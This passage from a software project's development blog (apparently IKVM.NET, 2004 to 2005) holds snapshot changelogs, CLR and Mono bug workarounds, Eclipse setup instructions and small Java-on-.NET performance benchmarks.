      AppDomain dom = AppDomain.CreateDomain("2nd");
      dom.ExecuteAssembly(typeof(Class1).Assembly.Location);
    }
  }
}

This code dies with a System.MissingMethodException! Yet another weird multi-AppDomain bug.

Fortunately, the work around is easy. Instead of using RuntimeHelpers.GetHashCode() to implement System.identityHashCode(), I've gone back to using some handcoded IL in map.xml to call System.Object.GetHashCode() non-virtually. This was also what I did on v1.0 of the CLR (where RuntimeHelpers.GetHashCode() didn't yet exist).

2/8/2005 2:52:47 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Wednesday, February 02, 2005

New Snapshot

Lot's of changes, but the major one is that Java's primitive type byte is now mapped to System.Byte instead of System.SByte. This makes interoperability between Java and other .NET code much easier (since System.Byte is in the CLS), although you have to be a little careful because Java's byte is signed and System.Byte is unsigned.

Changes:

  • Changed assembly versions to 0.11.*
  • Sync'ed with GNU Classpath cvs.
  • Added hack to support new Classpath awt event model.
  • Changed mapping of Java primitive byte from System.SByte to System.Byte, to remove the need for ByteArrayHack and better/easier interop with CLS code.
  • Regenerated mscorlib.jar, System.jar and System.Xml.jar with new ikvmstub (to deal with the new byte <-> System.Byte mapping).
  • Added optional support for compiling GNU Classpath with ecj to the build script. NOTE: The ecj -1.5 option is used to generate 1.5 compatible class files, so you must set the IKVM_EXPERIMENTAL_JDK_5_0 environment variable prior to starting the build process. When ecj is used to compile GNU Classpath with the -1.4 option, the build will fail because the resulting assembly is not verifiable. This is because ikvmc doesn't currently handle the way ecj compiles Java 1.4 class literals when used in the invocation of a base class constructor (this obviously isn't a common scenario, but it will be supported in a future version).
  • Added partial support for the new Java 5 StringBuilder class.
  • Changed the ikvm.lang.CIL boxing/unboxing methods dealing with bytes to account for the changed mapping.
  • Deprecated ikvm.lang.ByteArrayHack (it now contains only a single cast method that "casts" from byte[] to byte[], it will be removed in a future version).
  • Added ugly workaround for return type covariance in the IResourceReader interface.
  • Cleaned up setting the thread group when attaching a native thread.
  • Fixed JNI direct buffer APIs to support all types of java.nio.Buffer, not just ByteBuffer.
  • Implemented VMClassLoader.getPackages() to support enumerating packages defined by the bootstrap class loader. This is currently disabled on Mono due to a bug in Assembly.GetTypes() on Mono 1.0.5 and 1.1.3.
  • Implemented new stack walking mechanism that fully supports skipping over reflection and native stack frames.
  • Changed reflection to use new stack walking mechanism.
  • Changed native library loading to use new stack walking mechanism.
  • Fixed ikvmstub to return error value if it fails.
  • Added optional support to the build script to build a AMD64 version of JVM.DLL.
  • Fixed DynamicInvokeVirtual to actually do a virtual method invocation, instead of a non-virtual invocation.
  • Collapsed TypeWrapper.TypeAsParameterType and TypeWrapper.TypeAsFieldType into a single new property TypeWrapper.TypeAsSignatureType.
  • Fixed JNI_CreateJavaVM to support all valid JNI versions.
  • Fixed JNI DestroyJavaVM to return success when "destroying" the VM (even though -- like Sun -- we don't support actually destroying the VM).
  • Fixed JNI DetachCurrentThread to return success when detaching an already detached thread.
  • Fixed JNI FindClass to reject class names with dots and added support for signature format class names (e.g. [Ljava/lang/Object;), it also throws NoClassDefFoundError now instead of ClassNotFoundException.
  • Made some minor tweaks to JNI local ref allocation algorithms.
  • Changed reflective non-virtual method invocation to do a virtual invocation when invoking interfaces methods (for compatibility with Sun) and to use the regular reflection code path when invoking non-virtual methods or virtual methods that are guaranteed not to be overridden.
  • FieldWrapper.EmitGet/EmitSet and MethodWrapper.EmitCall[virt] no longer convert the field/return value from SignatureType to StackType, this is now left to the caller.
  • Fixed regression that could cause TypeWrapper constructor to try to construct a Class object for unloadable types (and this could result in an exception when an unloadable array type was constructed).
  • Renamed method TypeWrapper.EmitConvParameterToStackType to TypeWrapper.EmitConvSignatureTypeToStackType
  • Renamed method TypeWrapper.EmitConvStackToParameterType to TypeWrapper.EmitConvStackTypeToSignatureType.
  • Fixed native method invocation stubs to handle ghost types correctly.
  • Fixed reflection on .NET types to report Sealed and Abstract types as abstract only (the final abstract combination isn't legal in Java).
  • Improved handling of clashing method names for private interface methods.
  • Improved generation of base type method "hiders" for remapped types to support additional method overloads on Whidbey.

New snapshots: just the binaries and source plus binaries.

2/2/2005 4:40:19 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Thursday, January 13, 2005

0.10 Released

I put the 0.10 release version on SourceForge, it's identical to rc2 and be downloaded here.

1/13/2005 12:50:24 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, January 10, 2005

0.10 Release Candidate 2

I decided to make a new release candidate to fix a couple of bugs to make ecj work better.

It's available here: binaries and source plus binaries.

Note that IKVM still has a bug that causes a particular code construct that ecj generate to be compiled into unverifiable (but working) code. The code construct is using a class literal in the invocation of a base class constructor, ecj compiles this with inline code (javac and jikes put the generated code in a new method) and code has an exception handler around the Class.forName(), but the CLI doesn't allow exception handlers before the base class constructor is called.

Changes:

  • Added ikvm/lang/ByteArrayHack.java, ../../classpath-0.13/vm/reference/java/lang/VMCompiler.java and ../../classpath-0.13/gnu/java/awt/peer/GLightweightPeer.java to classpath/allsources.lst. Jikes automatically added these files, but when compiling with ecj the list needs to be complete (which is actually much nicer, since it doesn't require the classpath to be set in addition to the list of source files).
  • Added support for IKVM_EXPERIMENTAL_JDK_5_0 environment variable to enable Java 5 class file format support (note that since none of the JDK 5.0 APIs are available this isn't very useful, except for experimentation).
  • Fixed several bugs in Double.parseDouble/Float.parseFloat.
1/10/2005 3:27:36 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Friday, January 07, 2005

0.10 Release Candidate 1

I finally decided to make a long overdue new release (releases are what you download from the IKVM SourceForge project download and are better tested and include signed binaries). When I release a new development snapshot, I usually test it by running Mauve and my ikvm specific tests and by starting up Eclipse. I build my code on Windows using the Microsoft .NET Framework 1.1 and I don't generally test them on Mono on Linux. Releases are tested on Mono (although fairly superficially, since many of my tests don't run on Mono yet) and more importantly, for a release I also make sure that you can build IKVM on Mono on Linux. In a stroke of irony, while I was testing this release candidate, I discovered that my workaround for the Mono metadata bug that I introduced yesterday actually causes Mono to crash when building IKVM.GNU.Classpath.dll (the workaround itself works, you can run a Windows built IKVM.GNU.Classpath.dll that includes the workaround on Mono), so I added a workaround for that as well.

Basic info:

  • This releases is based on the GNU Classpath 0.13 release. Get it here.
  • It was tested on .NET Framework 1.1 on Windows, Mono 1.0.5 on Debian 3.0 and Mono 1.1.2 on Debian 3.0
    (I couldn't get Mono 1.1.3 to build, so I only tested with 1.1.2)
  • Downloads: binaries and source plus binaries.
  • Japi results: JDK 1.4 vs IKVM 0.10.0.0 and IKVM 0.10.0.0 vs JDK 1.4.
  • This is still a release candidate, but if no major problems are found it will be released as is.

Building from source:

  • Download and unzip the IKVM source zip file.
  • Download GNU Classpath 0.13 and extract it in a directory next to the ikvm directory. You don't need to run any of the makefiles or build scripts.
  • Make sure you have NAnt-0.84 and Jikes 1.22 installed.
  • Make sure you have the Microsoft .NET Framework 1.1, Mono 1.0.5 or Mono 1.1.2 installed.
  • cd ikvm
  • nant
  • That's it!

Changes:

  • Added workaround for Mono Reflection.Emit bug that causes NullReferenceException when emitting empty properties.
  • Added ikvmc -key:<keycontainer> option.
  • Added "signed" target to main build file, to automatically sign all assemblies.
  • Changed all version numbers to 0.10.0.0.
  • Signed all assemblies.
  • Tagged the cvs tree with v0_10_0_0.
1/7/2005 1:47:31 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Thursday, January 06, 2005

ecj

Stuart Ballard posted instructions on his blog on how to build ecj (the Eclipse Compiler for Java) and compile it into an executable with ikvmc.

This is really cool, because ecj is an open source pure-Java compiler that supports all of the Java 5.0 features.

1/6/2005 9:24:58 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

New Snapshot

I added a workaround for the Mono metadata bug and made a couple of other changes, most notably the -opt:fields ikvmc option to remove unused private static fields (except for serialVersionUID), this makes the generated IKVM.GNU.Classpath.dll about 1MB smaller, because of the large number of string constant fields in the locale table classes. I haven't investigated this fully, but it appears that string literals in the code are in a different heap than the string field literals and thus they end up in the file twice. If this is indeed true than it is a rather unfortunate design flaw in the CLI metadata spec (especially since you're not allowed to use the CIL ldsfld instruction on a literal field).

Changes:

  • Sync'ed with GNU Classpath cvs.
  • Added empty NetToolkit.createRobot method (to make it compile with recent Classpath change).
  • Only do the MethodBuilder private field scrubbing hack if we're on .NET 1.1
  • Added -opt:fields ikvmc option to remove unused private static fields.
  • Added -monoBugWorkaround option to ikvmc (and added it to the IKVM.GNU.Classpath.dll build file) to workaround Mono 1.0.5 and 1.1.3 metadata bug. Only use this option if your compiled exe/dll fails to load on Mono (this happens if it has more than 32768 methods), it causes the generated file to grow by about 300KB.
  • Added workaround for NullReferenceException in Thread.SetData() on Mono.

New snapshots: just the binaries and source plus binaries.

1/6/2005 11:46:32 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Wednesday, January 05, 2005

Mono Problems

Just a quick entry to point out problems with the most recent development snapshot on Mono. Mono gives a bunch of assertion failures:

** (ikvm.exe): CRITICAL **: file metadata.c: line 804 (mono_metadata_string_heap): assertion `index < meta->heap_strings.size' failed

** (ikvm.exe): CRITICAL **: file metadata.c: line 832 (mono_metadata_blob_heap): assertion `index < meta->heap_blob.size' failed

Not sure what's going on yet, but in the mean time, if you want to run on Mono, you can use the previous snapshot: binaries and source + binaries.

[Update: As usual, Zoltan Varga was on the case and quickly fixed the problem in the Mono 1.0 and 1.1 source trees. He also told me how to workaround it, so the new snapshot has a workaround.]

1/5/2005 5:37:48 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, January 04, 2005

Using IKVM as a JRE with Eclipse

A while ago Howard Gilbert wrote instructions on how to use IKVM as the target runtime with Eclipse (i.e. not running Eclipse in IKVM, but running the code you develop with Eclipse in IKVM).

My apologies to him for not posting this earlier (and for not adding it to www.ikvm.net, where it really belongs).

I could not find instructions in the documentation about using vanilla
Eclipse (under Java) to develop code that you then run (in Eclipse) under
IKVM. The trick is to define IKVM to Eclipse as an additional Java Runtime
Environment. It seems that this might be useful to post somewhere:

[This uses Windows and an installed Microsoft .NET Framework, but it can
probably be adapted.]

Eclipse runs under the default version of Java installed on your machine
(type "java -version" to find out). However, it can be configured with the
directories of other Java Runtime Environments (JRE's). In the Run . panel,
you can select a particular JRE in which to run each application.

Eclipse believes that a directory is a JRE if it has two things. 
1. It must have a {jre}/bin/java.exe file. 
2. It must have a {jre}/lib/rt.jar file.

Start with a binary distribution of IKVM in c:\ikvm. Copy
c:\ikvm\bin\ikvm.exe c:\ikvm\bin\java.exe. Create a c:\ikvm\lib and copy
into it the rt.jar from your favorite real Java runtime. Don't worry
because, of course, it will not really be used.
[Jeroen: You can also run ikvmstub on IKVM.GNU.Classpath.dll and rename the
resulting IKVM.GNU.Classpath.jar to rt.jar]

In Eclipse, pull down the Window menu option and select Preferences - Java -
Installed JRE's. Click the Add... button. Leave the type as "Standard VM". A
suggested "JRE name" is "IKVM". Point the "JRE home directory" to c:\ikvm.

The JRE system libraries box fills up with the libraries found in the
{jre}/lib directory. For the moment, the only such library is rt.jar.

Now build a simple Java program. When you want to run it, select Run - Run
... In the JRE tab, click the "Alternate JRE" option and select IKVM from
the pulldown. If you want to be clear, in the "Java executable" select
Alternate and type in "ikvm" (that is the ikvm.exe program). 

Now run the program. It ran under IKVM, but it is indistinguishable from
Java.

Now run ikvmstub on your favorite version of mscorlib.dll and put the
resulting jar file in c:\ikvm\lib\mscorlib.jar. After that, you should be
able to ikvmc your favorite JAR files, then put the jar file into /lib and
the generated dll into /bin. This is just a suggested use of the library
structure.

Sanity check: The Eclipse Package Explorer displays the JAR files as Eclipse
sees them during compilation. Even if you intend to run the program under
IKVM, Eclipse is going to compile them with your default real Java and its
libraries. So when you add JAR files to c:\ikvm\lib this doesn't put them in
the compiler path. You have to manually add the extra JAR files to your
project, and then the compiler knows to use them as the source is compiled.
At runtime the DLLs will either be automatically located because they are in
the same directory with ikvm.exe. 

So use Project - Properties - Java Build Path - Libraries - Add External
Jars to add mscorlib.jar to your project, and write a small Java program
using some CLI classes. Note that all the usual Eclipse IDE features work.
Type "cli.System.Console." and pause. Eclipse likes (default behavior of a
configurable feature) to convert explicit class names to imports, so it will
add a

import cli.System.Console

to the import group, replace what you have just typed with "Console." and
then display a popup with the list of methods of the System.Console class to
complete the expression.

When it doubt, in the Explorer panel on the left expand any of the jar files
(such as mscorlib.jar) to see the actual fully qualified names of the
classes generated by ikvmc.

Save the file and it gets compiled.

Run it (assuming again you set Run ... to use the IKVM "JRE") and you get
the expected output. Now there is no question that you are running IKVM
because you are calling CLI libraries.
1/4/2005 9:09:48 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Monday, January 03, 2005

Design Flaws

Happy New Year!

The common theme in today's snapshot is clearly design flaws. I have two of my own to discuss and two others. Note that this reflects only an small portion of all design flaws in my (and other) code, but these are the ones that are at least mildly interesting to read about (I hope).

Thread.interrupt()

When I originally designed the Thread.interrupt() support, it seemed like an obvious thing to map this onto the .NET support for interrupting threads. In retrospect I can see that this was a mistake (when something seems obvious it's tempting not to think about it anymore), but at the time it appeared to work fairly well. Only after a while I discovered that the monitorenter bytecode instruction (implemented by calling System.Threading.Monitor.Enter()) wasn't supposed to be interruptable in Java. I "solved" this by redirecting monitorenter to ByteCodeHelper.monitorenter() that repeatedly calls Monitor.Enter() (and catches any ThreadInterruptedExceptions) until it is successful. When I fixed this, I should have noticed a more fundamental problem with the Thread.interrupt() mapping approach, but I only realised the problem when I was working on the class loading deadlock bug a couple of weeks ago. Since java.lang.InterruptedException is a checked exception and can only occur in a couple of well defined places in the Java library, it simply wasn't a good fit to map it onto System.Threading.ThreadInterruptedException, which can occur any time a synchronized code block is entered (and this basically includes any .NET method).

Once I realised the problem, the fix was fairly easy. Java threads now maintain their own interrupt pending flag and whenever a Java thread enters one of the interruptable waits (Object.wait() or Thread.join()) it checks the flag and marks the thread as inside an interruptable wait. When another thread interrupts the waiting thread, it uses the .NET Thread.Interrupt() to interrupt the wait and the interrupted wait notices that the interrupt pending flag is set and catches the .NET System.Threading.ThreadInterruptedException and throws a java.lang.InterruptedException.

System.Reflection.Emit.MethodBuilder

I did some heap analysis on a started Eclipse process and discovered that a ridiculous amount of memory was being held by the various MethodBuilder instances that are kept alive by the IKVM type information data structures. This wasn't a matter of a couple of wasted bytes, but somewhere around 20MB of useless objects that were still being referenced. I attempted several different workarounds, but the simplest and safest one turned out to be using reflection to clear all of the unused private fields in MethodBuilder after a dynamic type is baked. This is obviously a nasty hack, but the resulting memory reduction is so significant that I felt it was worth it. I filed a bug with Microsoft, so hopefully it'll get fixed for Whidbey. Another reflection design flaw is that System.Reflection.Emit.OpCode is a value type that contains a whole bunch of instance fields, instead of a lightweight enum. This means that whenever you use an OpCode (which is often when you're generating code with ILGenerator) you are carrying around about 40 bytes, instead of an int sized value.

Hashtables

After getting rid of (most of) the MethodBuilder overhead, I turned my attention to my own code and noticed that a lot of memory was being used up by the hashtables that the TypeWrapper instances used for the fields and methods. Using hashtables for this turned out to be a design flaw, because most classes don't have that many types or fields that the memory overhead of a hashtable of worthwhile (I'm doing a simple linear search through an array now, and it doesn't affect performance at all). Besides this change I also made a whole bunch of other changes to reduce memory consumption, the result is that starting up Eclipse now takes less than half the heap space than it did in the previous snapshot.

C# and the CLS

The C# team uses the CLS as a (lame) excuse not to have to support accessing static fields in interfaces, so you cannot access Java interface fields in C#. To work around this, I've added code to create an inner class named __Fields to every interface that has static fields and that inner class contains duplicates of the interface fields, so that they can be accessed from C#.

Changes:

  • Sync'ed with GNU Classpath cvs (IKVM.GNU.Classpath now contains GNU JAXP XML processing library). You can now run Eclipse without having to add the xml stuff to the bootclasspath: eclipse -vm c:\ikvm\bin\ikvm.exe
  • Moved ObjectHelper.wait() to VMThread.objectWait().
  • Moved ObjectHelper.toStringSpecial() to map.xml.
  • Removed java/lang/ObjectHelper.java
  • Removed remapping of System.Threading.ThreadInterruptedException to java.lang.InterruptedException.
  • Added code to set "user.language" and "user.region" system properties based on .NET culture.
  • Fixed two shutdown hooks bugs that could cause the shutdown hooks not to run or run very slowly.
  • Fixed Process.waitFor() to be interruptable.
  • Fixed bug in VMThread.join() that could cause it not to return when a native thread detaches the thread.
  • Totally rewrote Thread.interrupt() handling and detached Java thread interruption from .NET thread interruption.
  • Removed the MethodDescriptor class.
  • Removed ByteCodeHelper.monitorenter().
  • Changed class file parser to intern all class, field, method names and signatures.
  • Added check for class names that are too long for .NET to handle.
  • Changed class loading locking so that no locks (outside of the lock on the ClassLoader) are held when Java code is called, to prevent potential deadlocks.
  • Changed SimpleCallMethodWrapper and SmartCallMethodWrapper not to have two OpCode fields but use smaller enum type instead.
  • Changed field resolving/linking to use the same strategy as methods.
  • Unified NonPrimitiveValueTypeFieldWrapper, GhostFieldWrapper and SimpleFieldWrapper.
  • Changed compilation of synchronized instance methods to use MethodImplAttribute(MethodImplOptions.Synchronized).
  • Changed TypeWrapper to use simple arrays to store fields and methods, instead of hashtables.
  • Integrated lazy member publishing into TypeWrapper and removed LazyTypeWrapper.
  • Added BakedTypeCleanupHack to workaround bug/design flaw in Reflection.Emit that causes too much memory to be retained (the workaround is to use reflection to clear some private fields of MethodBuilder, ConstructorBuilder and FieldBuilder).
  • Added workaround to make interface fields usable from C# (by duplicating them in an inner class named __Fields in the interface).
  • Changed bytecode compiler to use CIL switch opcode for tableswitch bytecode (this is a bit more space efficient).
  • Added conv_i1, conv_i2, conv_i4 and conv_i8 instruction support to remapper.

New snapshots: just the binaries and source plus binaries.

1/3/2005 6:11:32 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Wednesday, December 22, 2004

New Snapshot

More fixes and stabilization work. More to come...

Changes:

  • Merged with GNU Classpath cvs.
  • Fixed a relatively obscure bytecode compiler bug (that caused a "critical failure" because of an undefined label).
  • Fixed error handling for sockets to deal with closed sockets.
  • Implemented support for parsing relative ikvmres URLs and improved error handling.
  • Fixed ikvmres protocol handler to set port to -1 instead of 0 to enable better URL/URI roundtripping.
  • Fixed defineClass to throw NoClassDefFoundError instead of ClassNotFoundException (in some cases).
  • Fixed reflection to use a classes real accessibility instead of the access flags from the inner classes attribute.
  • Fixed ikvmc to always return errorcode when compilation fails.
  • Improved exception printing in ikvmstub.
  • Many fixes to class file format checking.
  • Fixed dynamic bytecode helper methods to throw NoClassDefFoundError instead of ClassNotFoundException.
  • Improved detection of class circularity.
  • Added workaround for .NET bug for classes that end with a period.
  • Implemented support for enums that use unsigned integral types as underlying type.
  • Fixed several constant field related bugs.
  • Fixed several .NET literal field related bugs.
  • Added workaround for .NET 1.1 verifier bug that made accessing the Value field of an enum unverifiable (for integral types smaller than Int32).
  • Fixed obscure bytecode compiler bug dealing with assigning uninitialized object references to local variables.
  • Implemented verifier checks to enforce calling the base class constructor before returning from a constructor.
  • Fixed obscure verifier bug that incorrectly disallowed having the unitialized this in a local or on the stack when doing a backward branch.
  • Fixed several verifier bugs when dealing with incorrect bytecode (would previously throw an IndexOutOfBoundsException instead of a VerifyError).
  • Added validation of the exception handling tables to the verifier and class file parser.
  • Implemented invokeinterface verification for bogus bytes following the instruction.
  • Moved java.lang.Class object <-> TypeWrapper mapping from hashtable to field in TypeWrapper.
  • Fixed class loading deadlocking bug.
  • Fixed JNI methods to handle RetargetedJavaExceptions.
  • Fixed Class.getProtectionDomain() for array types (not in Classpath cvs yet).
  • Fixed Class.getModifiers() for inner class array types.

New snapshots: just the binaries and source plus binaries.

12/22/2004 9:40:49 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, December 13, 2004

Calling Conventions & New Snapshot

Puneet Nayyar had some problems with JNI and was kind enough to send me that DLL that didn't work with IKVM. It turned out that the DLL exported a bunch of methods without the name decorations that __stdcall (the JNICALL calling convention on Windows) requires. Originally I thought that the DLL used the __cdecl calling convention (which uses undecorated names, at least on the Visual Studio .NET 2003 C++ compiler, despite what Raymond Chen says), but an examination of the code showed that it did in fact pop the arguments of the stack. So the fix was trivial, just look up JNI methods in their undecorated form as well.

It worries me a little that this allows __cdecl methods to be found too (which is what you get when you forget the JNICALL modifier), because they would (most likely) result in a crash when called. The Sun JDK seems to (accidentally?) support the __cdecl calling convention, maybe they restore the stack pointer from EBP in their thunk.

Other changes:

  • Merged with GNU Classpath cvs.
  • Fixed Class.forName() bugs when dealing with invalid array class names.
  • Fixed Array.newInstance() when used on an unfinished class.
  • Changed os.name and os.version system properties to be more compatible with Sun (on Windows).
  • Changed ikvmc to allow building empty assemblies (mainly useful for creating executable that start a main method in an already compiled assembly).
  • Fixed FileChannelImpl to use a smaller buffer (FileStream forces the use of a buffer, but we don't want any buffering at all).
  • Fixed FileChannelImpl.write(int) to flush and handle exceptions.
  • Fixed FileChannelImpl to handle (asynchronously) closed streams correctly.
  • Fixed some weak reference bugs.
  • Fixed ikvmc to use correct resource names on Mono (leading slash wasn't chopped off).
  • Fixed JNI method lookup to support unmangled names.
  • Cleaned up handling of VerifyError and log the error in the right place.
  • Changed compilation "exception" trace messages to Error category (from Warning).
  • Added compiler support for special casing VMSystem.arraycopy (which is now called directly by Classpath's StringBuffer implementation).

New snapshots: just the binaries and source plus binaries.

12/13/2004 8:56:12 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Thursday, December 02, 2004

New Runtime -> Library Interface & New Snapshot

The major new feature in this version is that I introduced a new interface (ikvm.internal.LibraryVMInterface) to replace all late-bound library operations in the runtime. In some cases this is a performance optimization, but I mainly did it to get better compile time checking.

In addition to that a number of small steps on the long road to 1.0:

  • Merged with GNU Classpath cvs.
  • Made the Field/Method/Constructor constructors package private. These objects are constructed from java.lang.VMClass but they live in java.lang.reflect, so they needed to be public, but I realised that since package private turns into assembly accessibility, I could use some map.xml glue to make factory methods in java.lang.VMClass that access the package private constructors in the java.lang.reflect package.
  • Fixed a whole bunch of DatagramSocket bugs.
  • Increased my Mauve test set enormously. I now run almost all Mauve tests. Current results: 238 of 3600422 tests failed.
  • Fixed FileChannelImpl.truncate to only truncate (not grow) the file.
  • Fixed several small java.io.File compatibility problems.
  • Fixed exception cleaning code to not skip package private methods.
  • Fixed a regression in ikvmc that caused it not to emit the names of method parameters.
  • Fixed regression that caused an exception when processing a constant boolean field.
  • Introduced ikvm.internal.LibraryVMInterface to replace all late binding from the runtime to the class library.
  • Added public API IKVM.Runtime.Util.MapException() to map exceptions from non-Java code.
  • Added ldobj instruction to remapper.cs.
  • Added a tools sub-project (currently only contains one simple app to generate an assembly reference for ilasm).
  • Implemented java.nio.channels.Channels.new[In|Out]putStream native methods.
  • Added stack trace cleaning to remove java.lang.LibraryVMInterfaceImpl methods.
  • Fixed some uncommon cross language Finalize method issues (e.g. when a Java class inherits from a C# class that inherits from Java class).
  • Optimized empty finalize methods. They are no longer registered as real Finalize methods.
  • Fixed reflection on .NET types to properly handle Java ghost interfaces.
  • Added a jvm sub-project to build JVM.DLL (Windows only).
  • Removed stub ikvm/classpath/gnu/java/net/protocol/ftp/Handler.java now that GNU Classpath has an ftp implementation.

New snapshots: just the binaries and source plus binaries.

12/2/2004 10:09:11 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Wednesday, November 24, 2004

Direct ByteBuffer, Inlining & New Snapshot

Michael Koch finished Classpath's implementation of DirectByteBufferImpl. Direct ByteBuffers allow Java code to access unmanaged memory. You can allocate them from Java using ByteBuffer.allocateDirect or from JNI using NewDirectByteBuffer. The default Classpath implementation uses native methods to implement accessing the buffer, but for IKVM I really didn't want to do it that way, because I like to use managed code whenever possible (for both maintainability and portability) and also because native method invocation is fairly slow. I therefore decided to reimplement gnu.classpath.RawData (the Classpath abstract native memory pointer) and java.nio.VMDirectByteBuffer.

At first RawData was a value type containing a single IntPtr field in an attempt to avoid an indirection when loading the pointer. This required that I replaced the implementation of DirectByteBufferImpl.get/put with some handwritten CIL instructions, because the compiled Java code resulted in unnecessarily boxing the RawData struct and that obviously killed performance. Since I was replacing the get and put methods anyway, I also inlined the index check and position update. After some experimentation I discovered that making RawData a value type didn't really help performance (the .NET JIT isn't very good at taking advantage of value type optimization opportunities) so I changed it into a reference type, this removed the need for special casing get and put, but when I removed the handcoded CIL performance went down significantly (approx. 50% slower). For some reason the JIT wasn't inlining the index check method, so I left the handcoded CIL in map.xml.

Here's a random microbenchmark:

import java.nio.*;
class DirectByteBuffer {
  public static void main(String[] args) {
    final int SIZE = 10 * 1024 * 1024;
    for(int j = 0; j < 2; j++) {
      ByteBuffer b = ByteBuffer.allocateDirect(SIZE);
      long start = System.currentTimeMillis();
      for(int i = 0; i < SIZE; i++)
        b.put(i, (byte)i);
      long sum = 0;
      for(int i = 0; i < SIZE; i++)
        sum += b.get(i) & 0xFF;
      long end = System.currentTimeMillis();
      System.out.println(end - start);
      System.out.println("sum = " + sum);
    }
  }
}

Results:

JRE 1.4.2 HotSpot Client VM Average
671 530 541 521 461 545
450 461 450 460 460 456
           
JRE 1.5 HotSpot Client VM  
401 461 411 481 480 447
410 360 441 410 411 406
           
JRE 1.5 HotSpot Server VM  
220 120 110 120 120 138
100 110 110 160 100 116
           
IKVM on .NET 1.1  
201 231 231 240 251 231
210 210 210 221 220 214
           
IKVM on Mono 1.0.2 (--optimize=all)  
430 391 400 401 390 402
401 390 401 390 401 397


Pretty good results. Most other operations perform similarly, except for compact, copy a large buffer takes about twice as long as on the JRE. The .NET class library really should have a memcpy or memmove method that is properly optimized. Note that there is CIL instruction cpblk to copy memory and I tried that as well, it is about 30% faster than my straightforward C# loop, but it doesn't handle overlapping regions and I didn't want to use an unverfiable instruction anyway (as that would cause IKVM.GNU.Classpath to fail verification and I use verification as simple smoke test during build to catch the most obvious regressions in the compiler).

I've also updated the Japi status results: IKVM vs JDK and JDK vs IKVM.

Other changes:

  • Resync'ed with GNU Classpath cvs.
  • Removed java/net/SocketInputStream.java and java/net/SocketOutputStream.java.
  • Moved contents of java/net/PlainSocketImpl.java to gnu/java/net/PlainSocketImpl.java.
  • Moved contents of java/net/PlainDatagramSocketImpl.java to gnu/java/net/PlainDatagramSocketImpl.java.
  • Added deprecated attribute to the three deprecated String methods.
  • Added deprecated attribute support to map.xml parser.
  • Added deprecated attribute support to ClassFileWriter.
  • Added deprecated attribute support to ikvmstub.
  • Added public API to query deprecatedness of fields, methods, constructors and classes.
  • Changed ikvmstub to emit serialVersionUID fields even if it is private, to make Japicompat status more accurate.
  • Added public API to query the constant value of a field.
  • Added ConstantValueAttribute to persist the constant value of constant instance fields (which are treated the same as static constant fields, by javac).
  • Added support to ikvmstub for constant instance fields.
  • Changed japi build file to generate both forward and backward compatibility reports.
  • Fixed runtime to support loading a pre-compiled Java class by referencing an ikvmstub generated stub class.
  • Fixed module names when generating -Xsave files.
  • Moved JNI method pointer field to proxy class when generating -Xsave files.
  • Replaced gnu.classpath.RawData with an IKVM specific version.
  • Added optimized special case implementation of several java.nio.DirectByteBufferImpl methods to map.xml.
  • Removed CharConversionException handlers from StringHelper (I fixed Classpath's character/string encoders/decoders to no longer throw exceptions).
  • ClassLoaderWrapper has a new method PublishLibraryImplementationHelperType to publish types that live in IKVM.Runtime.dll (this is used for the new gnu.classpath.RawData that lives in IKVM.Runtime.dll because it contains unverifiable code).
  • Improved line number table encoding (more space efficient and simpler code).
  • Implemented JNI methods NewDirectByteBuffer, GetDirectBufferAddress and GetDirectBufferCapacity.
  • Added new method AttributeHelper.SetEditorBrowsableNever to decorate methods with the EditorBrowsableAttribute (to prevent them from showing up in Intellisense).
  • Implemented support to override method implementations in map.xml (not implemented for constructors yet).
  • Renamed all of the IKVM introduced fields and methods to __<xxx>.
  • Added support for several new CIL instructions to remapper.cs.
  • Shadow types (e.g. the .NET java.lang.Object type) now hide all inherited methods and decorate them with EditorBrowsableAttribute(Never) so that they no longer show up in Intellisense.
  • I broke JNI.RegisterNatives in this snapshot (but it's fixed in cvs).

New snapshots: just the binaries and source plus binaries.

11/24/2004 1:56:56 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, November 09, 2004

New Snapshot

A new snapshot. Nothing new, except that FileDescriptor.sync now actually works on Linux.

Thanks to lupus for reporting that it didn't work before.

New snapshots: just the binaries and source plus binaries.

11/9/2004 5:37:29 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Comment Spam

Yesterday I disabled comments, because the comment spam was driving me nuts. I've now re-enabled them, but I've added a programming question that hopefully should be easy to answer for anyone wishing to comment, but too hard for the spammers to be worthwhile to figure out.

If you want to comment but don't know the answer to the question, feel free to e-mail me.

Sorry, for the inconvenience. :-(

11/9/2004 3:02:36 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Monday, November 08, 2004

Running Derby on IKVM

At the Colorado Software Summit I attended a presentation on Derby by Dan Debrunner. Derby is the open source version of IBM's Cloudscape database engine. After seeing the presentation I decided to try to run it on IKVM. I tried some simple tests and they all went fine. At the moment Derby doesn't include a test suite yet (IBM is working on releasing their tests), so I didn't do any extensive testing.

Since Derby is a real transactional database engine it uses a transaction log and requires FileDescriptor.sync() to work corectly, so I decided to implement that. I hadn't previously implemented it, because it unfortunately requires platform specific code, so it only works on Windows and on Posix systems (when running on Mono).

I wrote a very simple test app in C# (and the Java equivalent) and did some performance tests (download source):

Operation Sun JDK 1.5 IKVM/.NET 1.1 IKVM/Mono 1.0.2
getConnection 1903 1472 2177
create table 450 634 624
prepareStatement1 344 514 978
1000x insert 1031 387 550
prepareStatement2 124 294 231
1000x select 1038 851 3682

(Times in milliseconds, based on average of three best runs out of four runs.)

All the usual disclaimers about benchmarks apply of course, but it's interesting to see that IKVM on .NET outperforms JDK 1.5 on the queries. Preparing the statements take longs, but that is expected, as IKVM has to convert the generated class files to CIL (and this part of IKVM is not very efficient).

